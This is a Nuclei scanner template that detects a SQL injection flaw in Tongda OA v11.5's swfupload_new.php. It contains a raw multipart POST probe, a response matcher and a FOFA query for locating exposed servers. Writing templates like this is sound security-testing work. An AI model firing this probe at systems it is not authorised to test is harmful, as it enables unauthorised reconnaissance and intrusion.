id: tongda-oa-swfupload-sqli

info:
  name: Tongda OA v11.5 swfupload_new.php - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    There is a SQL injection vulnerability in the swfupload_new.php file of Tongda OA v11.5. An attacker can obtain sensitive information of the server through the vulnerability.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/通达OA/通达OA%20v11.5%20swfupload_new.php%20SQL注入漏洞.html
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/tongda-swfupload-new-sql-inject.yaml
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="TDXK-通达OA"
  tags: tongda,sqli,intrusive,vuln

http:
  - raw:
      - |
        POST /general/file_folder/swfupload_new.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2
        Accept-Encoding: gzip

        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="ATTACHMENT_ID"

        1
        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="ATTACHMENT_NAME"

        1
        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="FILE_SORT"

        2
        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="SORT_ID"

        ------------GFioQpMK0vv2--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "insert into FILE_CONTENT("

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a1fc3bbb2de6deaf75bae8ff340b97b9cc41f506b470daedead1974639a9305602210093dc417973721848cb11fe10458c71b5e08112ed60d0428a3e2a818b9cea4b34:922c64590222798bb761d5b6d8e72950